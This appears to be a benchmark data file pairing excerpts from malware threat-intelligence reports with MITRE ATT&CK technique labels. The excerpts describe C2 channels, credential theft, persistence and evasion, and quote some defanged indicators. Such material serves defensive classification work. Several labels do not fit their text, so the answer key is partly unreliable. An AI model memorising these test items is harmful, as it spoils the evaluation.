"The developer decided to remove the MFC library and put almost all the code in a unique function. The number of functions is divided by three. If the target would have a proxy, the malware would not be able to communicate outside. The attacker retrieves the proxy configuration in the registry: The network communication is divided in two parts. The first part uses the Microsoft Windows Wininet library. The purpose is to send reconnaissance information to the attackers. The malware sent to the operator the following information: the campaign ID (named Flag by the developer), the hostname of the compromised system, the IP address, the OS version, the proxy server of the system and if the system is running on VMware. To get this information, the attacker the VMXh-Magic-Value (0x0a). The second part of the communication is dedicated to the orders and the exfiltration. You can see in the screenshot 0x4E3 (1251 - Cyrillic Russian) and 0x362 (866 - DOS Cyrillic Russian): Sha256: 43606116e03672d5c2bca7d072caa573d3fc2463795427d6f5abfa25403bd280 C2 for the orders: dnsdns1[.]PassAs[.]us C2 URL for reconnaissance: hxxp://fund[.]cmc[.]or[.]kr/UploadFile/fame/x/o0.asp",['T1012 - Query Registry'],eval_config
"In addition to its own information stealing capabilities, the Astaroth Trojan campaign also uses an external feature NetPass. NetPass is one of the downloaded payload files renamed to lrdsnhrxxferyb.jpg","['T1555 - Credentials from Password Stores', 'T1552 - Unsecured Credentials']",eval_config
These two families share multiple code similarities and have been developed and operated by Kimsuky at least since 2017,['T1587.001 - Malware'],eval_config
"Attempts to remain hidden from cybersecurity analysis by explicitly checking its environment for signs of debugging. Leverages existing Windows registry key that is enabled by default in Windows 10 to store configuration data. Employs polymorphic code, changing its runtime footprint during code execution to thwart memory analysis and evade signaturing. Uses position independent code (PIC) to throw off static analysis tools",['T1497.003 - Time Based Evasion'],eval_config
"The Bazar loader gives the attacker its initial foothold in the environment, while the Bazar backdoor establishes persistence. The Bazar backdoor can lead to disrupted business continuity, data loss, and full compromise, undermining trust in an organization",['T1105 - Ingress Tool Transfer'],eval_config
"The Darkhotel APT will relentlessly spearphish specific targets in order to successfully compromise systems. Some targets are spearphished repeatedly with much the same social-engineering schemes. For example, the attachment “schedule(2.11~16).rar” could be sent on February 10th, with Darkhotel returning to the same targets in late May for a second attempt with attachment “schedule(6.1~6).rar","['T1204.002 - User Execution: Malicious File', 'T1566.001 - Phishing: Spearphishing Attachment']",eval_config
"After confirming an active Internet connection, the Komplex payload begins carrying out its main functionality. The Komplex payload uses an 11-byte XOR algorithm to decrypt strings used for configuration and within C2 communications, including the C2 domains themselves. Figure 8 shows a screenshot of Komplex’s custom string decryption algorithm, along with the XOR key used to decrypt strings within the payload",['T1573.001 - Symmetric Cryptography'],eval_config
"The payload communicates with its C2 server laceibagrafica[.]com by issuing HTTP POST requests with base64 encoded and encrypted messages in the data section. We had not seen any previous explanation of this C2 channel, so we will provide an overview of the back and forth communications between the payload and C2 server to show how this payload uses the names in Table 4. To do this analysis, we created a C2 server to interact with the Spark payload to issue commands, so all of the HTTP responses in this section are from the C2 server we created and not an actor developed C2 software. Figure 6 shows an initial beacon sent from the payload to its C2 server. However, all of the outbound requests from the payload to the C2 will look similar visually, as they all use HTTP POST requests to the same URL with encoded and encrypted messages","['T1132.001 - Data Encoding: Standard Encoding', 'T1071.001 - Application Layer Protocol: Web Protocols']",eval_config
"The BeagleBoyz have used a variety of techniques, such as spearphishing and watering holes, to enable initial access into targeted financial institutions",['T1189 - Drive-by Compromise'],eval_config
"At the end of the Main function, it creates another thread whose function is to collect credentials from a variety of software on the victim’s machine. It can collect user credentials from the system registry, local profile files, SQLite database files, and so on. Once it has captured the credentials of one the software packages it is looking for, it immediately sends it to the C&amp;C server. One HTTP packet contains the credentials of one software package",['T1082 - System Information Discovery'],eval_config
"The second portion of EnvyScout is a modified version of the open-source tool FileSaver, which is intended to assist in the writing of files to disk via JavaScript. The code is borrowed directly from the publicly available variants with minor alterations, including whitespace removal, conversion of hex parameters to decimal, and renamed variables. By combining this code with components #3 and #4 detailed below, NOBELIUM effectively implements a methodology known as HTML smuggling",['T1027.006 - HTML Smuggling'],eval_config
"Notable Differences The OopsIE Trojan delivered in this attack had functional code that was very similar to the OopsIE variant discussed in our previous blog. The main similarities include the use of a scheduled task to persistently execute on the system, as well as the same general process to communicate with its C2 server. For instance, this Trojan uses the InternetExplorer application object much like the previous OopsIE Trojan and a very similar sequence of requests to obtain commands. Also, this version of the Trojan inspects HTTP responses from the C2 server for the tags &lt;pre&gt; and &lt;/pre&gt; and will parse that data for commands. However, there are many differences introduced to this version of OopsIE from the previously discussed variant. The following code snippet was used to decode strings within OopsIE","['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1027 - Obfuscated Files or Information']",eval_config
"In order to deploy an implant for the final payload, ScarCruft uses a multi-stage binary infection scheme. This malware uses the public privilege escalation exploit code CVE-2018-8120 or UACME which is normally used by legitimate red teams. The downloader malware uses the configuration file and connects to the C2 server to fetch the next payload. In order to evade network level detection, the downloader uses steganography. The downloaded payload is an image file, but it contains an appended malicious payload to be decrypted",['T1102.002 - Bidirectional Communication'],eval_config
"While the decoy in Figure 2 is displayed, the macro will search the document for the delimiter ###$$$ and write the base64 encoded text that follows this delimiter to the file %APPDATA%\Base.txt. OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. hex(Environment.UserName/Environment.MachineName)&gt; The Trojan will issue a request to this URL to check (hence the chk string in the URL) to see if the C2 server has a command for the Trojan to run. The C2 server will respond to the Trojan’s request by echoing the value &lt;hex(Environment.UserName/Environment.MachineName)&gt; if it wishes to provide additional commands. If the C2 server does not respond with the appropriate echoed data, the Trojan will create a file named srvCheckresponded.tmp in the SpecialFolder.CommonApplicationData folder and write nothing to it before exiting. If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what commands the C2 wishes to run by issuing a request to the following URL: http://&lt;c2 domain&gt;/what. hex(Environment.UserName/Environment.MachineName)&gt; After issuing the what command, the Trojan will parse the C2's response for the string Oops, which the Trojan will treat as the C2 making a mistake and will exit. Otherwise, the Server will respond with a command followed by a set of parameters, split up by the delimiter &lt;&gt;: [command]&lt;&gt;[parameters for command in hexadecimal format] The available commands are",['T1074.001 - Data Staged: Local Data Staging'],eval_config
"The infrastructure behind the malware attacks showed good compartmentalization of identities. We rarely found the same (fake) registration information used for more than one C2 domain. Stealth Falcon operators also appear to have deleted one of their attack domains, adhostingcache.com when they realized their attempt to target Donaghy had failed. We also noted that the (self-signed) SSL certificates on the C2 domains were changed several times as we monitored the infrastructure, perhaps in an attempt to thwart fingerprinting of their infrastructure via SSL certificates",['T1573.001 - Symmetric Cryptography'],eval_config
"In this step, the attacker is using the publicly available requestbin.net DNS tunneling service, in order to get updates about the macros infection progress",['T1071.004 - Application Layer Protocol: DNS'],eval_config
pa – Instructions for malicious framework to impersonate the lsass.exe/vmtoolsd.exe token and inject itself into a new “svchost.exe -k netsvcs” process,['T1055.004 - Process Injection: Asynchronous Procedure Call'],eval_config
"OSX/Keydnap uses a Tor2Web proxy for command and control. As noted by ESET, the main backdoor component (icloudsyncd) uses this proxy for communication purposes: “Keydnap is using the onion.to Tor2Web proxy over HTTPS to report back to its C&amp;C server","['T1071.001 - Application Layer Protocol: Web Protocols', 'T1090.003 - Proxy: Multi-hop Proxy']",eval_config
"The purpose of this tool is to parse the hard drive for files with a specific extension and create an archive with these files. Finally, the archive is encoded before being sent to the C2. Afterward, the module will delete old ""sft"" files assuming they were already exfiltrated. After a pause of 6,500 milliseconds, it will start its search for the targeted files. SFT file creation routine Using the working directory as a base path, which in this sample case is C:\DOCUME~1\&lt;USER&gt;~1\LOCALS~1\Temp\4CA-B25C11-A27BC\, each selected file will be compressed into the file kr.zp",['T1560.003 - Archive via Custom Method'],eval_config
"As noted, Apple (quickly-ish) revoked the Developer code-signing certificate(s) that were used to sign the malicious payloads",['T1059.004 - Command and Scripting Interpreter: Bash'],eval_config
"In this campaign, attackers used a Microsoft Word document called 0721.doc, which exploits CVE-2017-0199. This vulnerability was disclosed and patched days prior to this attack",['T1203 - Exploitation for Client Execution'],eval_config
"Many MFA providers allow for users to accept a phone app push notification or to receive a phone call and press a key as a second factor. The threat actor took advantage of this and issued multiple MFA requests to the end user’s legitimate device until the user accepted the authentication, allowing the threat actor to eventually gain access to the account",['T1621 - Multi-Factor Authentication Request Generation'],eval_config
"While the QuietSieve malware family is primarily geared towards the exfiltration of data from the compromised host, it can also receive and execute a remote payload from the operator. These payloads are written to the user’s Application Data folder with a random alphanumeric name and are executed in a hidden window","['T1113 - Screen Capture', 'T1564.003 - Hide Artifacts: Hidden Window']",eval_config
"The developer rewrote a large part of the code however the workflow is the same as previously and some features are copy/paste. This variant has exactly the same features as the previous variant: file listing, OS version getting, process killing, drive listing, execution via ShellExecuteW(), execution via named pipe, cleaning, file removal, file downloading. Here is an example of code similarities on the execution via named pipe function. The code is not exactly the same but the workflow and some constants are similar",['T1027 - Obfuscated Files or Information'],eval_config
Cisco Talos has observed another malware campaign that utilizes malicious Microsoft Office documents (maldocs) to spread the remote access trojan (RAT) ObliqueRAT. ObliqueRAT has been linked to the Transparent Tribe APT group in the past. This campaign hides the ObliqueRAT payload in seemingly benign image files hosted on compromised websites,['T1204.001 - Malicious Link'],eval_config
Pre-2018 variants use the registry for persistence and create the following entry: Key: HKCU\Microsoft\Windows\CurrentVersion\Run Value: MSBuild Data: %APPDATA%\MSConsole\MSBuild.exe,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
"Javali targets Portuguese- and Spanish-speaking countries, active since November 2017 and primarily focusing on the customers of financial institutions located in Brazil and Mexico. Javali uses multistage malware and distributes its initial payload via phishing emails, as an attachment or link to a website","['T1105 - Ingress Tool Transfer', 'T1566.002 - Phishing: Spearphishing Link', 'T1218.007 - Signed Binary Proxy Execution: Msiexec', 'T1059.005 - Command and Scripting Interpreter: Visual Basic', 'T1204.002 - User Execution: Malicious File']",eval_config
"Inside the “﻿main_request_session_key” routine, SUNSHUTTLE constructs an HTTPS request to its configured C2. Upon an HTTP 200 response from the request, the response data from the C2 is expected to not contain the following string for the sample analyzed",['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
"Intro The Ryuk threat actors went from a phishing email to domain wide ransomware in 5 hours. They escalated privileges using Zerologon (CVE-2020-1472), less than 2 hours after the initial phish. They used tools such as Cobalt Strike, AdFind, WMI, and PowerShell to accomplish their objective. Ryuk has been one",['T1018 - Remote System Discovery'],eval_config
This time the malware was marketed and distributed by a legitimate-looking company called CoinGoTrade on their website coingotrade[.]com (Acquire Infrastructure: Domain [T1583.001,['T1583.001 - Domains'],eval_config
"1) Gathered system info from WMI 2) Gathered the ARP table 3) Gathered a list of running processes 4) Materialized a file “OracleJavaUpdater.ps1” to disk. This file gathers passwords and web browser data from a variety of sources: Windows Credential Vault, Internet Explorer, Firefox, Chrome, Outlook. some Internet Explorer password gathering code appears to be lifted from the GPLv3-licensed QuasarRAT88) 5) Executed “OracleJavaUpdater.ps1” 6) Deleted “OracleJavaUpdater.ps1” 7) Gathered a list of running processes again","['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers', 'T1057 - Process Discovery', 'T1555.004 - Credentials from Password Stores: Windows Credential Manager', 'T1555 - Credentials from Password Stores']",eval_config
"Turla exploited the signed VirtualBox driver, VBoxDrv.sys v1.6.2, to deactivate DSE and load its unsigned payload drivers afterward","['T1068 - Exploitation for Privilege Escalation', 'T1553.006 - Subvert Trust Controls: Code Signing Policy Modification']",eval_config
"The FROMNET routine sends a request to the server using the WinINet API as well and returns the data from the response. To get an updated configuration and override the hardcoded values, the ransomware sends HTTP GET requests using the same headers as before, to",['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
This saves screenshots as c:\system\screenshot.bmp and sends it to the C2 server at 46.166.165.254 every 60 minutes,['T1113 - Screen Capture'],eval_config
"The tool was primarily used by the attackers to move laterally on the victim’s network. PowerShell: Microsoft scripting tool that was used to run commands to download payloads, traverse compromised networks, and carry out reconnaissance. WinSCP: Open source FTP client used to exfiltrate data from targeted organizations. LogMeIn: Cloud-based remote access software. It’s unclear whether the attackers gained unauthorized access to the victim’s LogMeIn accounts or whether they created their own",['T1219 - Remote Access Software'],eval_config
"That code, Carmakal says, is signed with stolen certificates that make it look more legitimate. LockerGoga then rapidly encrypts the computer's files. On an average system within a few minutes, it is toast,"" wrote Kevin Beaumont, a UK security researcher, in an analysis of the Norsk Hydro attack",['T1553.002 - Code Signing'],eval_config
Enabling these features gives the threat actor a remote control channel to persistently access the victim's environment without using malicious software that could be detected,['T1021.006 - Remote Services: Windows Remote Management'],eval_config
"Password from successful login to the infected server: Whenever someone logs in a system infected with Linux/Ebury, the sshd daemon will save the password and send it to the exfiltration server. Any password login attempt to the infected server: Even if the attempt is unsuccessful, the username and password used will be sent to the operators. Password on successful login from the infected server: When someone uses the ssh client on an infected server, Linux/Ebury will intercept the password and sent it to its exfiltration server. Private key passphrase: When the ssh client on an infected server prompts the user for an private key passphrase, the passphrase will be sent to the remote exfiltration server. Unencrypted private key: When a private key is used to authenticate to a remote server, the unencrypted version is intercepted by the malware. Unlike passwords, it will not send the key to the exfiltration server. Instead, it will store it memory and wait for the operators to fetch the key with the Xcat command. Private keys added to the OpenSSH agent with ssh-add: The keys added to an OpenSSH agent are also intercepted by the malware. Both the unencrypted key itself and the passphrase typed by the user will be logged",['T1556 - Modify Authentication Process'],eval_config
"Once executed, NavRAT will immediately leverage cmd.exe to perform a systeminfo and a tasklist check on the system it is running on while writing the output to a TMP file, once again attempting to hide within an AhnLab folder","['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",eval_config
The Windows version of the malicious cryptocurrency application is an MSI Installer. The installer looks legitimate and has a valid digital signature from Sectigo (Obtain Capabilities: Digital Certificates [T1588.004]). The signature was signed with a code signing certificate purchased by the same user as the SSL certificate for jmttrading[.]org (Obtain Capabilities: Code Signing Certificates [T1588.003]). The MSI Installer asks the victim for administrative privileges to run (User Execution: Malicious File [T1204.002,['T1204.002 - User Execution: Malicious File'],eval_config
"Talos has identified two different infection vectors associated with this particular campaign. In order to compromise their victims, the threat actors sent the trojanized Microsoft Word documents, probably via email. The first vector relies on a trojanized document that fetches a remote template and then uses a known exploit. The second vector is a trojanized Word document that prompts the victim to enable macros and run a Visual Basic script. In the first scenario, Talos discovered a document named ""MinutesofMeeting-2May19.docx"", that appeared to display the national flag of Jordan. Once the victim opens the document, it fetches a remove template from the actor-controlled website, hxxp://droobox[.]online:80/luncher.doc. Once the luncher.doc was downloaded, it used CVE-2017-11882, to execute code on the victim's machine","['T1221 - Template Injection', 'T1059.005 - Command and Scripting Interpreter: Visual Basic', 'T1204.002 - User Execution: Malicious File']",eval_config
"In situations where the primary C2 server does not return a response to the HTTP POST request described in the previous section, the malware fails back to using a DGA algorithm. The algorithm used by this malware is time-based and can be calculated using the values of year and month. A list of DGA domains is below: Figure 8: 12 Month DGA Genearation The malware will initiate DNS lookups for each domain generated by the DGA algorithm. The malware will perform a DNS query of the active DGA domain and expects that two IP addresses will be returned from the name server managing the DGA domain's namespace. The malware will then compute a secondary C2 server by performing a series of bit operations on the returned IP address values and combine them to determine the actual fallback C2 server address to use for subsequent C2 operations",['T1568.002 - Domain Generation Algorithms'],eval_config
"Beginning in January 2021, Mandiant Managed Defense observed multiple instances of abuse of Microsoft Exchange Server within at least one client environment. Our investigation revealed that the files created on the Exchange servers were owned by the user NT AUTHORITY\SYSTEM, a privileged local account on the Windows operating system. Furthermore, the process that created the web shell was UMWorkerProcess.exe, the process responsible for Exchange Server’s Unified Messaging Service. In subsequent investigations, we observed malicious files created by w3wp.exe, the process responsible for the Exchange Server web front-end",['T1078.003 - Valid Accounts: Local Accounts'],eval_config
"Is important to highlight that among Retro’s documented techniques, it leverages malicious instances of msfte.dll, oci.dll and lame_enc.dll, and via Phantom DLL Hijacking. As previously documented, Ramsay also uses this technique in some of its versions also using msfte.dll and oci.dll",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],eval_config
"In 2019, the actor behind Bisonal used a new way to deploy the machine on the target's systems. So next time the user opens an Office application, the malware will be loaded and executed. The purpose of the malware is to deploy Bisonal on the infected system ($tmp$\tmplogon.exe) and to create a Run registry key in order to execute Bisonal at the next reboot of the system. If you look at the report after executing the malicious document, you only see one action: the .wll file creation. The user also needs to open an Office application and finally a reboot is needed in order to execute the real payload: Bisonal",['T1204.002 - User Execution: Malicious File'],eval_config
"The scheduled task will then run every five minutes, which provides persistent execution of the downloader script. The task itself is fairly simple, calling the VBScript file which contains a PowerShell one-liner as an argument to run the QUADAGENT payload (ex","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",eval_config
"Communications between Cyclops Blink clients and servers are protected under Transport Layer Security (TLS) (T1071.001), using individually generated keys and certificates. Sandworm manages Cyclops Blink by connecting to the C2 layer through the Tor network",['T1090.003 - Proxy: Multi-hop Proxy'],eval_config
It calls the following series of API calls to inject itself on the remote process before it exits,['T1106 - Native API'],eval_config
"After uploading these files, take advantage of the pre-built queries within BloodHound. These queries are a great way to start obtaining important information about your environment. Queries include: viewing all domain administrators; viewing users with the most local administrator rights; or viewing computers with the most administrative user access. One of these queries gives you the ability to map domain trusts, as shown in Figure 3",['T1087.002 - Account Discovery: Domain Account'],eval_config
"Once the environment is checked, the backdoor will check for network connectivity by sending an HTTP GET request to hxxp://www.w3[.]org/1999/XSL/Format, ensuring the response is “This is another XSL namespace\n",['T1016.001 - System Network Configuration Discovery: Internet Connection Discovery'],eval_config
"BazarLoader (aka Kegtap) consists of a loader and a backdoor component. The loader is responsible for installing and executing the backdoor element. The latest version of the loader contains a large amount of string and code obfuscation, and it has been observed utilizing a novel technique of mimicking legitimate software for persistence. CrowdStrike technical analysis has specifically revealed the loader mimicking communications software such as Softphone",['T1036.005 - Masquerading: Match Legitimate Name or Location'],eval_config
"The victims of the new variant of the Bisonal backdoor, according to our telemetry, were from financial and military sectors located in Eastern Europe. Our research started from only one sample, but by using the Kaspersky Threat Attribution Engine (KTAE) we found 300+ almost identical samples. The target location forced the group to use a hardcoded Cyrillic codepage during string manipulations. This is important, for example, during remote shell functionality, to correctly handle the Cyrillic output from executed commands",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
"After establishing a session key, GoldMax reaches out to its C2 server to receive, decrypt (AES-256), parse, and execute commands. To retrieve an encrypted C2 command from its C2 server, GoldMax sends an HTTP GET request. This HTTP GET request only contains a single Cookie value, which matches the Cookie value used during the session key establishment process (the User-Agent and Connection headers and values are hardcoded, as before",['T1071.001 - Application Layer Protocol: Web Protocols'],eval_config
"As with the spearphishing email, the lure documents' content attempts to convince the victim to click on another malicious URL and download a .ZIP file",['T1204.002 - User Execution: Malicious File'],eval_config
"If the victim clicks the ""Enable Content"" button, thinking it will make the image visible, a malicious macro is executed",['T1204.002 - User Execution: Malicious File'],eval_config
It uses the following part of the script to determine the environment it is running on so that it can set the DLL version to use,['T1082 - System Information Discovery'],eval_config
The Ryuk Ransomware uses the Wake-on-Lan feature to turn on powered off devices on a compromised network to have greater success encrypting them,['T1205 - Traffic Signaling'],eval_config
"PlugX — A remote access tool notable for communications that may contain HTTP headers starting with ""X-"" (e.g. X-Session: 0""). Its presence on a compromised system allows a threat actor to execute a wide variety of commands, including uploading and downloading files, and spawning a reverse shell. The malware can be configured to use multiple network protocols to avoid network-based detection. DLL side loading is often used to maintain persistence on the compromised system. Its presence on a compromised system allows a threat actor to spawn a reverse shell, upload or download files, and capture keystrokes. DLL side loading has been used to maintain persistence on the compromised system. Source: Dell SecureWorks) - ChinaChopper web shell — A web-based executable script (see Figure 4) that allows a threat actor to execute commands on the compromised system. The server-side component provides a simple graphical user interface for threat actors interacting with web shells. TG-3390 has used additional web shells containing similarly formatted passwords. Hunter usage",['T1046 - Network Service Discovery'],eval_config
The link leads to an executable file which is a downloader for a previously unknown malware family that we now know as Tomiris,['T1105 - Ingress Tool Transfer'],eval_config
Trickbot (detected by Trend Micro as TSPY_TRICKBOT.THOIBEAI) now has a password grabber module that steals access from several applications and browsers,['T1552.001 - Unsecured Credentials: Credentials In Files'],eval_config
"Sibot reaches out to a legitimate but compromised website to download a DLL to a folder under System32. In observed instances the DLL is downloaded to C:\windows\system32\drivers\, renamed with a .sys extension, and then executed by rundll32. The scheduled task calls an MSHTA application to run Sibot via the obfuscated script. This simplistic implementation allows for a low footprint for the actor, as they can download and run new code without changes to the compromised endpoint by just updating the hosted DLL. The compromised website used to host the DLL is different for every compromised network and includes websites of medical device manufacturers and IT service providers","['T1218.011 - Signed Binary Proxy Execution: Rundll32', 'T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1102 - Web Service']",eval_config
"The use of script-based backdoors is a common technique used by the OilRig group as we have previously documented. QUADAGENT is the 12th custom built tool that Unit 42 has documented the OilRig group using for their attacks. In their example, the OilRig group used a malicious macro document to deliver the backdoor, which is a tactic much more commonly used by them. Once the victim downloads and executes the email attachment, it runs silently with no additional decoy documents or decoy dialog boxes. Once the QUADAGENT payload has executed, it will use rdppath[.]com as the C2, first via HTTPS, then HTTP, then via DNS tunneling, each being used as a corresponding fallback channel if the former fails. The use of malicious macro delivery documents is a tactic we have observed the OilRig group use repeatedly over the three years we’ve been tracking them. The document also contained a lure image, similar to ones commonly found in malicious macro documents which ask the user to click on “Enable Content” as seen in Figure 2. We captured the commands we ran in Invoke-Obfuscation in the animation in Figure 3 below, which visualizes the steps the threat actor may have taken to create the payload delivered in this attack. While we do not have data supporting targeting information or telemetry, we know the document was created in January 2018 and likely used in an attack around that time frame. This IP and msoffice-cdn[.]com were both previously referenced in our first report on an OilRig attack using the ThreeDollars delivery document",['T1204.002 - User Execution: Malicious File'],eval_config
"Once installed on a victim’s computer, Oldrea gathers system information, along with lists of files, programs installed, and root of available drives. It will also extract data from the computer’s Outlook address book and VPN configuration files. This data is then written to a temporary file in an encrypted format before being sent to a remote command-and-control (C&amp;C) server controlled by the attackers","['T1560 - Archive Collected Data', 'T1083 - File and Directory Discovery']",eval_config
"MuddyWater operators use a series of compromised websites that act as proxies in order to conceal the real address of the C2 server. Infected endpoints connect randomly to one of the proxy servers, which in turn relays the information to the C2. Operators use the C2 to dispatch commands and receive exfiltrated data","['T1041 - Exfiltration Over C2 Channel', 'T1090.002 - External Proxy']",eval_config
"In this campaign, Earth Vetala threat actors used spearphishing emails and lure documents against organizations within the United Arab Emirates, Saudi Arabia, Israel, and Azerbaijan. The phishing emails and lure documents contain embedded URLs linking to a legitimate file-sharing service to distribute archives containing the ScreenConnect remote administrator tool. ScreenConnect is a legitimate application that allows systems administrators to manage their enterprise systems remotely",['T1219 - Remote Access Software'],eval_config
"1) Ferocious dropper: The Excel dropper, after the user opens it and disables the protected mode, will execute a series of formulas placed in a hidden column. 19: Check if a mouse is present. 42: Check if the host computer is capable of playing sounds. 2) 1: Get the name of the environment in which Microsoft Excel is running, as text, followed by the environment’s version number. 3) 19: Check if a mouse is present. 4) 42: Check if the host computer is capable of playing sounds. 5) Ferocious run-1: After the macro finishes writing to disk, it runs winrm.vbs using explorer.exe. Microsoft’s command line licensing tool slmgr.vbs is also able to provide similar results. Registry keys used for COM hijacking After the above execution chain, the Excel 4.0 macro will clean up and delete the winrm.vbs and winrm.txt files. 6) Ferocious run-2: The macro will continue after the cleanup by recreating and opening the same files, winrm.vbs and winrm.txt",['T1120 - Peripheral Device Discovery'],eval_config
"This new variant of FakeM shared the same functional code as its predecessors, but again the communications with the C2 dramatically differed from the other variants. Communications between this variant and the C2 server leverage what Unit 42 believes is modified SSL code, as the code is very similar to the FakeM SSL variant. The code appears to use Diffie-Hellman for key exchange and the RC4 algorithm like FakeM SSL; however, the initial packet sent to the C2 server did not contain a “client hello” message, which is required to initiate an SSL handshake. Instead, the initial packet sent data as seen in Figure 13","['T1041 - Exfiltration Over C2 Channel', 'T1041 - Exfiltration Over C2 Channel']",eval_config
"In the past, the Gamaredon Group has relied heavily on off-the-shelf tools. Our new research shows the Gamaredon Group have made a shift to custom-developed malware. We believe this shift indicates the Gamaredon Group have improved their technical capabilities. The custom-developed malware is fully featured an includes these capabilities","['T1105 - Ingress Tool Transfer', 'T1120 - Peripheral Device Discovery']",eval_config
"Next, the malware enumerates all .exe programs in the %System% folder and looks for an original signed Windows binary that imports from at least one KnownDll and from a library that is not in the KnownDll directory. At the time of writing, the dropper supports aepic.dll, sspisrv.dll, ftllib.dll, and userenv.dll to host the malicious FinFisher payload. Finally, a new Windows service is created with the service path pointing to the candidate .exe located in this new directory together with the freshly created, benign-looking DLL",['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
"In the above decompiled code, we see that the pisloader is generating the following string, which eventually is called to set the Run registry key",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
"While investigating the Confucius threat actor, we found a recent spear phishing campaign that utilizes Pegasus spyware-related lures to entice victims into opening a malicious document downloading a file stealer",['T1204.001 - Malicious Link'],eval_config
"Once the user opens the “.lnk” file, the embedded HTA file will be executed via “mshta.exe”, it then writes a PowerShell script name “3.ps1” in the “%TEMP%” directory. The PowerShell script is then executed using Windows Management Instrumentation (WMI) in a hidden window via WMI Tasks","['T1047 - Windows Management Instrumentation', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",eval_config
"It then scans for documents with valid Word or Excel file extensions on all drives connected to the system. The malware moves each located document into the AppData folder, inserts malicious Word or Excel macros into it using a Microsoft.Office.Interop object, and then moves the document back into its original folder. In the samples we analyzed, the injected macros were simple downloaders",['T1559.001 - Component Object Model'],eval_config
"The contents above use the DDE functionality in Microsoft Word to run a PowerShell script to download the Koadic payload from a remote server, save it as an executable file on the system and then execute the payload","['T1559.002 - Inter-Process Communication: Dynamic Data Exchange', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1218.011 - Signed Binary Proxy Execution: Rundll32']",eval_config
"Dragos identified PARISITE activity targeting ICS-related entities using known virtual private network (VPN) vulnerabilities. These vulnerabilities affect Fortinet, PulseSecure, and Palo Alto Networks VPN appliances. PARISITE’s current focus of targeting vulnerable VPN appliances indicates an interest in initial access to enterprise networks, including industrial networks",['T1190 - Exploit Public-Facing Application'],eval_config
"All of them include dependencies needed to run QEMU in installerdata.dmg from which all files are copied over to /usr/local/bin and have appropriate permissions set along the way. Persistence is achieved by adding plist files in /Library/LaunchDaemons with RunAtLoad set to true. They also have KeepAlive set to true, ensuring the process will be restarted if stopped",['T1543.004 - Create or Modify System Process: Launch Daemon'],eval_config
"The first testing activity we observed began with an initial sample created on June 13, 2016 with 17 subsequent files created for testing purposes that the actor created in a two-hour period on June 15, 2016. Table 1shows the samples we observed associated with the June 2016 testing activity, including the iteration, the last modified timestamp, the hash, the filename, and the antivirus detection rate of the newly created file. The first “ttt.xls” file and the files with incrementing filenames have the same decoy contents, which is the reason we initially included this sample with this group despite the difference in naming. Also, the filename “ttt.xls” contains the acronym for “to the top”, which is common usage in Internet forums and could depict the actor starting testing activities",['T1027.005 - Indicator Removal from Tools'],eval_config
"We found four different trojaned binaries in use since July 2019. The 5kplayer, driver pack and Firefox trojanized software use a service to achieve persistence. The VPNpro trojanized application uses an AutoRun registry key, as mentioned in the publication released before July 2019. The setup deploys three files which are part of the toolset: rmaserv.exe, winprint32.exe and mssqldbserv.xml",['T1059.001 - Command and Scripting Interpreter: PowerShell'],eval_config
This function returns Office 365 instances and information when the latest changes have been made (e.g,['T1526 - Cloud Service Discovery'],eval_config
32(link is external)] Kimsuky also targets Microsoft Office users by formatting their documents in a .docx file rather than .hwp and will tailor their macros accordingly,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
"This backdoor, known as LOWBALL, uses the legitimate Dropbox cloud-storage service to act as the CnC server. It uses the Dropbox API with a hardcoded bearer access token and has the ability to download, upload, and execute files",['T1102.002 - Bidirectional Communication'],eval_config
We are planning to cover the Turla Carbon system with more details in a future report,['T1082 - System Information Discovery'],eval_config
"To operate correctly, it needs elevated administrative privileges which it attempts to obtain using the standard UAC prompt",['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],eval_config
"In this case, after the payload is delivered via an exploit the threat actor places files (named upload.bat, upload.rar, and period.txt, download.txt or silent.txt) in a directory on a Dropbox account. The malware beacons to this directory using the hardcoded API token and attempts to download these files (which are deleted from the Dropbox account after the download",['T1083 - File and Directory Discovery'],eval_config
"Many of these domains use valid SSL certificates, likely to make the spoofed pages appear authentic. The overwhelming majority of the certificates observed in 2019 were issued by Let's Encrypt, a nonprofit organization that programmatically issues free certificates. However, past campaigns used certificates issued by the Comodo certificate authority",['T1588.004 - Digital Certificates'],eval_config
"In the most recent variants of Linux/Ebury, strings are obfuscated with a simple XOR encryption with a static key. After unpacking, the malware loads various functions it requires using multiple calls to the dlsym function. Linux/Ebury then discovers the original executable address space by calling dlopen(NULL, RTLD_NOW) and passing the returned handle to dlinfo(handle, RTLD_DI_LINKMAP, …). This will work even if ASLR is enabled on a system. This behaviour gives Linux/Ebury the ability to walk the import table of an ELF executable and replace the original imported function address in memory. The result is that when the programsssh, sshd or ssh-add call one of the hooked function, it will be redirected to the malicious libkeyutils.so implementation that can replace the original behaviour",['T1027 - Obfuscated Files or Information'],eval_config
"This investigation allowed us to create strong ties between multiple campaigns that Lazarus has conducted, reinforcing our attribution. In this campaign the Lazarus group demonstrated its sophistication level and ability to circumvent the security measures they face during their attacks, such as network segmentation. We assess that Lazarus is a highly prolific group, conducting several campaigns using different strategies. They shared tools and infrastructure among these campaigns to accomplish their goals","['T1105 - Ingress Tool Transfer', 'T1588.002 - Tool']",eval_config
The ZxShell driver starts by acquiring some kernel information and then hooking “ObReferenceObjectByHandle” API. Finally it spawns 2 system threads,['T1056.004 - Input Capture: Credential API Hooking'],eval_config
